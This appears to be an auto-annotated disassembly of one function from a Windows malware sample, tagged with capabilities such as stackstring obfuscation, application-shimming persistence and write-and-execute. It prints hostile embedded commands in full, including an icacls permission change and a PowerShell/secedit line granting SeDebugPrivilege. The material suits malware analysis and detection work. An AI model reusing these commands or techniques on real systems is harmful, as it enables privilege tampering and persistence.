Function at 0x10002580
Capabilities:
Check for time delay via gettickcount
Check if file exists
Contain obfuscated stackstrings
Create process on windows
Delete file
Get file attributes
Persist via application shimming
Terminate process
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2b8
mov dword [ebp - 0x2b8], ecx
push 0x10030ad8
call fcn.10003c2c
add esp, 4
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push str.cmd__c_icacls__C:ProgramDataMicrosoftProgram___remove:d_Everyone_
call dword [sym.imp.KERNEL32.dll_WinExec]
push 0
push 0x10030b28
call fcn.10002552
add esp, 8
push 0
push 0x10030b58
call fcn.10002552
add esp, 8
push 0
push 0x10030b84
call fcn.10002552
add esp, 8
push 0
push 0x10030bac
call fcn.10002552
add esp, 8
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.C:ProgramDataMicrosoftProgramziliao.jpg1
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0x10030c00
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push str.C:ProgramDataMicrosoftProgramziliao
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push str.C:ProgramDataMicrosoftziliao.jpg
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x104
lea eax, [ebp - 0x108]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov byte [ebp - 0x17c], 0x4b
mov byte [ebp - 0x17b], 0x45
mov byte [ebp - 0x17a], 0x52
mov byte [ebp - 0x179], 0x4e
mov byte [ebp - 0x178], 0x45
mov byte [ebp - 0x177], 0x4c
mov byte [ebp - 0x176], 0x33
mov byte [ebp - 0x175], 0x32
mov byte [ebp - 0x174], 0x2e
mov byte [ebp - 0x173], 0x64
mov byte [ebp - 0x172], 0x6c
mov byte [ebp - 0x171], 0x6c
mov byte [ebp - 0x170], 0
mov byte [ebp - 0x18c], 0x47
mov byte [ebp - 0x18b], 0x65
mov byte [ebp - 0x18a], 0x74
mov byte [ebp - 0x189], 0x54
mov byte [ebp - 0x188], 0x65
mov byte [ebp - 0x187], 0x6d
mov byte [ebp - 0x186], 0x70
mov byte [ebp - 0x185], 0x50
mov byte [ebp - 0x184], 0x61
mov byte [ebp - 0x183], 0x74
mov byte [ebp - 0x182], 0x68
mov byte [ebp - 0x181], 0x41
mov byte [ebp - 0x180], 0
lea ecx, [ebp - 0x18c]
push ecx
lea edx, [ebp - 0x17c]
push edx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x298], eax
lea eax, [ebp - 0x290]
push eax
push 0x104
call dword [ebp - 0x298]
cmp dword [ebp + 0x10], 0xffffffff
jne 0x100027af
mov byte [ebp - 0x2ac], 0x50
mov byte [ebp - 0x2ab], 0x6c
mov byte [ebp - 0x2aa], 0x75
mov byte [ebp - 0x2a9], 0x67
mov byte [ebp - 0x2a8], 0x69
mov byte [ebp - 0x2a7], 0x6e
mov byte [ebp - 0x2a6], 0x33
mov byte [ebp - 0x2a5], 0x32
mov byte [ebp - 0x2a4], 0x2e
mov byte [ebp - 0x2a3], 0x64
mov byte [ebp - 0x2a2], 0x6c
mov byte [ebp - 0x2a1], 0x6c
mov byte [ebp - 0x2a0], 0
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
lea ecx, [ebp - 0x2ac]
push ecx
lea edx, [ebp - 0x16c]
push edx
call fcn.100126cb
add esp, 0xc
jmp 0x10002801
mov byte [ebp - 0x2b4], 0x52
mov byte [ebp - 0x2b3], 0x75
mov byte [ebp - 0x2b2], 0x25
mov byte [ebp - 0x2b1], 0x64
mov byte [ebp - 0x2b0], 0x25
mov byte [ebp - 0x2af], 0x73
mov byte [ebp - 0x2ae], 0
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
lea ecx, [ebp - 0x2b4]
push ecx
lea edx, [ebp - 0x16c]
push edx
call fcn.100126cb
add esp, 0x10
lea eax, [ebp - 0x16c]
push eax
lea ecx, [ebp - 0x290]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0
push 0x80
push 2
push 0
push 2
push 0x40000000
push 0x10030c78
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x29c], eax
cmp dword [ebp - 0x29c], 0xffffffff
jne 0x10002848
xor eax, eax
jmp 0x1000293f
push 0
lea edx, [ebp - 0x294]
push edx
mov eax, dword [ebp + 8]
push eax
call fcn.10012650
add esp, 4
mov ecx, dword [ebp + 0xc]
sub ecx, eax
sub ecx, 1
push ecx
mov edx, dword [ebp + 8]
push edx
call fcn.10012650
add esp, 4
mov ecx, dword [ebp + 8]
lea edx, [ecx + eax + 1]
push edx
mov eax, dword [ebp - 0x29c]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov ecx, dword [ebp - 0x29c]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
push 1
push 0x10030ca4
call fcn.10002552
add esp, 8
push 0
push str.powershell.exe__NoProfile__C__Set_Content__Value____Unicode__Unicodeyes__Version__signature__CHICAGO___Revision1__Privilege_Rights__SeDebugPrivilege__S_1_5_18__File_Security___C:ProgramDataMicrosoftProgram__0__D:AR_D_OICI_DTSDRCWD___WD_____Path___IO.Path_::Combine__env:TEMP__SeDebugPrivilege.inf____Encoding_Unicode__secedit.exe__configure__db___IO.Path_::Combine__env:TEMP__SeDebugPrivilege.sdb____cfg___IO.Path_::Combine__env:TEMP__SeDebugPrivilege.inf____overwrite__log___IO.Path_::Combine__env:TEMP__SeDebugPrivilege.log____quiet__Remove_Item__Path___IO.Path_::Combine__env:TEMP__SeDebugPrivilege.____Force__
call dword [sym.imp.KERNEL32.dll_WinExec]
push 0
push 0x10030f64
call fcn.10012547
add esp, 8
cmp eax, 0xffffffff
je 0x100028ff
push 0
push 0
push 0
lea edx, [ebp - 0x108]
push edx
push 0x10030f90
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
push 0
mov eax, dword [0x1003f808]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
cmp dword [ebp + 0x10], 0xffffffff
jne 0x10002909
xor eax, eax
jmp 0x1000293f
push 0x2e
lea ecx, [ebp - 0x290]
push ecx
call fcn.10012620
add esp, 8
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x10002927
xor eax, eax
jmp 0x1000293f
lea edx, [ebp - 0x290]
push edx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x1000293d
xor eax, eax
jmp 0x1000293f
xor eax, eax
mov esp, ebp
pop ebp
ret 0xc